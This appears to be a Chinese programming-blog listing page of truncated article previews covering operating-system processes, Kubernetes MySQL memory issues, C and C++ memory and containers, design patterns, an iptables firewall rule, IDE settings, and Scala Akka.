参考视频&#xff1a;操作系统 文章目录 1、进程管理逻辑图2、进程的由来3、进程引发的问题4、进程与程序的区别5、进程的特征6、进程的组织7、进程的状态与控制8、进程间的通信9、三级调度10、FCFS算法调度过程11、时间片轮转算法调度过程12、短作业有优先算法调度过程13、优…...

KylinOSv10系统k8s集群启动mysql5.7占用内存高的问题

问题现象 麒麟系统搭建k8s集群 mysql的pod启动失败 describe查看ommkill&#xff0c;放大limit资源限制到30G依旧启动失败 系统 报错信息 原因 内存占用太高 open_files_limit初始化太高 解决&#xff1a; 1、更换镜像 链接: https://pan.baidu.com/s/1b9uJLcc5Os0uDqD1e…...

c语言练习84:动态内存管理

动态内存管理 例题&#xff1a; 错误代码&#xff1a; #include<stdio.h> #include<stdlib.h> void GetMemory(char* p) {p (char*)malloc(100); } void Test(void) {char* str NULL;GetMemory(str);strcpy(str, "hello world");printf(str); } int …...

[Go版]设计模式——Template模版方法模式

目录 模板方法&#xff08;Template Method&#xff09;模式的说明核心思想设计优点 Go语言实现该模式的示例代码 模板方法&#xff08;Template Method&#xff09;模式的说明 核心思想 定义一个算法的骨架&#xff0c;将一些步骤的实现延迟到子类。 设计优点 将通用的模版…...

数据结构 | (四) Queue

队列 &#xff1a;只允许在一端进行插入数据操作&#xff0c;在另一端进行删除数据操作的特殊线性表&#xff0c;队列具有先进先出 FIFO(First In First Out) 入队列&#xff1a;进行插入操作的一端称为 队尾&#xff08; Tail/Rear &#xff09; 出队列&#xff1a;进行删除操…...

让照片人物开口说话,SadTalker 安装及使用(避坑指南)

AI技术突飞猛进&#xff0c;不断的改变着人们的工作和生活。数字人直播作为新兴形式&#xff0c;必将成为未来趋势&#xff0c;具有巨大的、广阔的、惊人的市场前景。它将不断融合创新技术和跨界合作&#xff0c;提供更具个性化和多样化的互动体验&#xff0c;成为未来的一种趋…...

系统架构设计:6 论软件质量保证及其应用

目录 一 软件质量保证SQA 1 制定SQA计划 2 参与但不负责开发项目的软件过程描述 3 评审...

vscode的窗口下拉显示行数不够

这是为了减少程序的空间占用而存在的一个设置。设置一下即可。 设置方法 在左上角文件&#xff0c;个人设置&#xff0c;设置中&#xff0c;&#xff08;或者用Ctrl&#xff0c;打开&#xff09; 输入terminal&#xff0c;找到bell duration&#xff0c;设置成1000。 参考…...

Linux UWB Stack实现——MCPS调度接口(数据结构)

MCPS&#xff08;MAC Common Part Sublayer&#xff0c;媒介访问控制&#xff08;Medium Access Control&#xff09;公共部分子层&#xff09;调度接口&#xff0c;文件&#xff1a;include\net\mcps802154_schedule.h。 MCPS访问方法 // MCPS 802154 访问方法 enum mcps8021…...

2023Q3数据安全政策、法规、标准及报告汇总(附下载)

数据安全处罚事件逐年升高&#xff0c;2023年呈爆发式增长。 截至2023年8月31日&#xff0c;南都大数据研究院通过各地行政执法公示平台、媒体报道等公开渠道收集到146起依据《数据安全法》作出行政处罚决定的案例。2021年公示5起&#xff0c;2022年公示11起&#xff0c;2023年…...

Ceph入门到精通-iptables 限制多个ip 的多个端口段访问

要使用iptables限制多个IP的多个端口范围的访问&#xff0c;可以使用以下命令&#xff1a; iptables -A INPUT -p tcp -m multiport --dports 端口段 -m iprange --src-range 起始IP-结束IP -j DROP上面的命令将添加一条规则到INPUT链中&#xff0c;该规则将禁止指定IP范围访问…...

【C/C++】STL——深度剖析vector容器

​&#x1f47b;内容专栏&#xff1a; C/C编程 &#x1f428;本文概括&#xff1a;vector的介绍与使用、深度剖析及模拟实现。 &#x1f43c;本文作者&#xff1a; 阿四啊 &#x1f438;发布时间&#xff1a;2023.10.8 一、vector的介绍与使用 1. vector的介绍 像string的学习…...

如何在idea中隐藏文件或文件夹

例如我想要隐藏如下文件 只需要点击file->settings editor->file types->ignores Files and Folders-> 然后按照图片点击顺序操作即可 添加完毕点击apply->ok 隐藏成功后效果如下&#xff1a;...

Scala第二十章节

Scala第二十章节 scala总目录 文档资料下载 章节目标 理解Akka并发编程框架简介掌握Akka入门案例掌握Akka定时任务代码实现掌握两个进程间通信的案例掌握简易版spark通信框架案例 1. Akka并发编程框架简介 1.1 Akka概述 Akka是一个用于构建高并发、分布式和可扩展的基于事…...